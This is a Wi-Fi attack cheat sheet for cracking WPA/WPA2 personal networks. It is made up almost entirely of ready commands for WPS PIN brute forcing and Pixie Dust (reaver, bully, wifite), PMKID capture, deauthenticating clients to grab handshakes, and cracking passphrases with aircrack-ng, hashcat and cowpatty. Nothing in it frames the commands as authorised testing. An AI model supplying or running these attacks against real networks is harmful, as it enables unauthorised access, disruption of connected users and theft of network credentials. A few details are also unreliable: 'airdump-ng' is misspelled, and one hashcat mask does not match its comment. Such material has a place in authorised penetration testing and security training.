07. WPA WPA2 Personal (PSK) Authentication Cracking

WPS PIN Attacks

WPS Detection

wash -i mon0
wash -i mon0 -c <channel> 		# Specific channel
wash -i mon0 -c <channel> -C 	# -C ignores frame checksum errors

Known WPS PINs + Known PIN Generation Algorithms

PIN Smart bruteforce using known PINs for APs of certain manufacturers + known PIN generation algorithms

airgeddon.sh # => select "Known PINs database based attack"

WPS PIN Bruteforce (online)

reaver -i mon0 -b <MAC_AP> -c <channel> -f -N [-L -d 2 -S] -vv

• -f disable channel hopping
• -N do not send NACK messages when out of order packets are received
• -L Ignore locked state reported by target AP
• -d Set delay between PIN attemps
• -S choose small Diffie-Hellman values to minimize load on the AP (can speed up cracking)

bully mon0 -b <MAC_AP> -c <channel> -S -F -B -v 3

• -S sequential PINs (no randomize)
• -F force continue even if warnings
• -B bruteforce mode

WPS Pixie Dust Attack (offline bruteforce)

reaver -i mon0 -b <MAC_AP> -c <channel> -K -N -vv
bully mon0 -b <MAC_AP> -d -v 3

Lists of vulnerable routers:

• https://docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/
• https://docs.google.com/spreadsheets/d/1uJE5YYSP-wHUu5-smIMTmJNu84XAviw-yyTmHyVGmT0/

Null PIN attack

reaver -i mon0 -b <MAC_AP> -c <channel> -f -N -g 1 -vv -p ''

All-in-one

wifite --wps-only  # Only WPS attacks
wifite --wps-only --pixie  # Only WPS offline bruteforce attack "Pixie-Dust"
wifite --wps-only --no-pixie  # Only WPS online bruteforce attack "PIN attack"

Get WPA/WPA2 Passphrase from WPS PIN

reaver -i wlan0 -b <MAC_AP> -p <PIN_found>

WPA/WPA2 PMKID Capture & Bruteforce (client-less attack)

1. Capture PMKID:

hcxdumptool -i mon0 -o capture.pcapng --enable_status=1 -c <channel>
./eaphammer --pmkid --interface wlan0 --channel <channel> --bssid <MAC_AP>  # Alternative using eaphammer

2. Convert captured data to hashcat format:

hcxpcaptool -E essidlist -I identitylist -U usernamelist -z capture.16800 capture.pcapng

3. Crack hash with hashcat:

hashcat -m 16800 capture.16800 -a 3 -w 4 '?l?l?l?l?l?lt'  # Bruteforce all possible combination of 8-chars lowercase
hashcat -m 16800 capture.16800 -a 0 -w 4 <wordlist>  # Dictionary attack

Alternative: Automatic PMKID capture & bruteforce using wifite tool:

wifite --pmkid

Handshake Capture & Cracking (requires connected client)

1. Capture traffic & write captured handshakes to file

airdump-ng -c <channel> --bssid <AP_MAC> -w <capture> mon0

2. Deauthenticate client from AP:

aireplay-ng --deauth 5 -c <MAC_target> -a <MAC_AP> mon0

Alternative with mdk4:

mdk4 mon0 d -b <MAC_AP_file> -c <channel>  # MAC_AP_file stores MAC address of AP. All clients connected to the AP will be targeted

3. Crack:

aircrack-ng -a 2 -b <AP_MAC> -w <wordlist> <capture>

4. Alternative with Hashcat:

   • Convert capture (.cap/.pcap) to hashcat format (.hccapx) using hashcat-utils tool cap2hccapx:

   cap2hccapx <input.pcap> <output.hccapx>
   

   • Crack:

   hashcat -m 2500 <capture.hccapx> -a 0 <wordlist>  # Dictionary attack
   

5. Alternative with Cowpatty:

cowpatty -f <wordlist> -r <capture> -s <SSID>

Check Handshake is in Capture

• aircrack-ng:

aircrack-ng <capture>  # Check for target BSSID/ESSID

• tshark:
  Filter on EAPOL message. There should be 4 messages for a complete hanshake:

tshark -r <capture> -n -Y eapol

• cowpatty:

cowpatty -r <capture> -s <ESSID> -f -

• pyrit:

pyrit -r <capture> analyze